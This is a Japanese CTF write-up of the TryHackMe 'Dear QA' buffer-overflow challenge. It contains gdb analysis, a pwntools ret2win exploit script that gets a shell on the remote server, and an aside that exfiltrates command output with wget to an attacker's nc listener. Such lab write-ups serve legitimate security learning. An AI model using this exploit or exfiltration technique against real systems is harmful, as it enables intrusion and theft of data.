[JP]TryHackMe WriteUp: Dear QA

2022/06/05に公開

問題の概要

  • pwnの問題
  • 難易度: easy

準備

  • ファイル「DearQA.DearQA」が与えられる
  • ソースコードはなし

ファイルの確認

$file DearQA.DearQA 
DearQA.DearQA: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8dae71dcf7b3fe612fe9f7a4d0fa068ff3fc93bd, not stripped

64bitの実行ファイルであるとわかる

動作を確認

$./DearQA.DearQA 
Welcome dearQA
I am sysadmin, i am new in developing
What's your name: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Hello: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault

nameを聞かれて入力できる
長い文字列を渡すとSegmentation faultで落ちる

中身を確認

$objdump -M intel -d ./DearQA.DearQA
0000000000400686 <vuln>:
(中略)
  4006bc:       e8 8f fe ff ff          call   400550 <execve@plt>
(中略)
00000000004006c3 <main>:
  • main関数の他にvuln関数がある
  • vuln関数ではexecveが呼ばれている
  • vuln関数を呼んでいる箇所はない
    → どうにかしてvuln関数(0x400686)に飛ばす方向性で考える

gdbで解析

gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : disabled

防御機構は特になし

gdb-peda$ pdisass main
   0x00000000004006fd <+58>:  lea    rax,[rbp-0x20]
(中略)
   0x000000000040070e <+75>:  call   0x400580 <__isoc99_scanf@plt>
  • scanfが呼ばれる前に0x20のメモリが確保されている
  • 0x20 + rbpの退避分 + リターンアドレス分 程度を書き込むことでRIPが上書きできるはず
    • 64bitなので適当に入れるとうまく上書きできないので注意
gdb-peda$ pattc 0x2D
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AA'
gdb-peda$ r
Welcome dearQA
I am sysadmin, i am new in developing
What's your name: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AA
Hello: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AA

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x0 
RDX: 0x0 
RSI: 0x6012a0 ("Hello: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AA\n")
RDI: 0x7ffff7fa7670 --> 0x0 
RBP: 0x6141414541412941 ('A)AAEAAa')
RSP: 0x7fffffffe1f0 --> 0x7fffffffe2d8 --> 0x7fffffffe569 
RIP: 0x4141304141 ('AA0AA')
R8 : 0xffffffff 
R9 : 0x35 ('5')
R10: 0x7fffffffe1c0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AA")
R11: 0x246 
R12: 0x400590 (<_start>:        xor    ebp,ebp)
R13: 0x0 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[------------------------------------------------------------------------------]

Stopped reason: SIGSEGV
0x0000004141304141 in ?? ()

RIPが「AA0AA」に上書きできた

gdb-peda$ patto AA0AA
AA0AA found at offset: 40

オフセットが40だとわかった

攻撃

exploit.py
オフセット40のあとにリターンアドレスでvulnのアドレス0x400686を書き込む

#!/usr/bin/env python3
from pwn import *
p = process("./DearQA.DearQA")

vuln_addr = 0x400686

payload =  b"A" * 40
payload += p64(vuln_addr)

p.sendline(payload)
p.interactive()

実行

$ python3 exploit.py 
[+] Starting local process './DearQA.DearQA': pid 1361
[*] Switching to interactive mode
Welcome dearQA
I am sysadmin, i am new in developing
What's your name: Hello: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x86\x06
Congratulations!
You have entered in the secret function!
$ ls
DearQA.DearQA  exploit.py

シェルが取れた

サーバへの攻撃

exploit.py
pをリモートに変更

#!/usr/bin/env python3
from pwn import *
p = remote("サーバのIP", 5700)

vuln_addr = 0x400686

payload =  b"A" * 40
payload += p64(vuln_addr)

p.sendline(payload)
p.interactive()

実行

$ python3 exploit.py 
[*] Switching to interactive mode



ctf@dearqa:/home/ctf$ $ ls


なぜかメッセージやコマンドの実行結果が出力されない
コマンド自体は動いてそうに見える

原因解析

$ nc サーバのIP 5700
Welcome dearQA
I am sysadmin, i am new in developing
What's your name: aaa
aaa
Hello: aaa

ncコマンドでは正常に見える

$python3 exploit.py > output
$hexdump -C output
(中略)
000000e0  63 6f 6d 65 20 64 65 61  72 51 41 0d 0a 49 20 61  |come dearQA..I a|
  • Hexでみると正常に出力が返っていた
  • 改行コードが「0d 0a」になっている
    • 0dで行頭に戻り、0aで改行が書き込まれるため何も表示されない

exploit.py
コードの修正

#!/usr/bin/env python3
from pwn import *
p = remote("サーバのIP", 5700)

context.newline="\r"
vuln_addr = 0x400686

payload =  b"A" * 40
payload += p64(vuln_addr)

p.sendline(payload)
p.interactive()

pwntoolsのドキュメントを見るとrecvlineは「newlineに設定されたバイト列で終了する」と書かれている
少々無理やりだがcontext.newline="\r"で終了文字を\r(0x0d)に変更する

実行

$ python3 exploit.py 
[*] Switching to interactive mode
Welcome dearQA

I am sysadmin, i am new in developing

What's your name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x86^F@^@^@^@^@^@

Hello: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x86\x06

Congratulations!

You have entered in the secret function!

bash: cannot set terminal process group (444): Inappropriate ioctl for device

bash: no job control in this shell

ctf@dearqa:/home/ctf$ ls
ls

DearQA  dearqa.c  flag.txt

ctf@dearqa:/home/ctf$ $ cat flag.txt
cat flag.txt

THM{・・・}

フラグが取れた

余談

結果が出力されない状態で無理やりフラグを取る方法
クライアント側(攻撃者)を8000ポートでリッスン

$nc -lvnp 8000
listening on [any] 8000 ...

サーバからwgetでリクエストを投げる

ctf@dearqa:/home/ctf$ wget クライアントのIP:8000/`ls | base64`

クライアント

$nc -lvnp 8000
listening on [any] 8000 ...
GET /RGVhclFBCmRlYXJxYS5jCmZsYWcudHh0 HTTP/1.1
User-Agent: Wget/1.16 (linux-gnu)
Accept: */*
Connection: Keep-Alive

あとはbase64をデコードするだけ
(その他、外部にリクエスト投げられるコマンドならなんでもいけます)

Discussion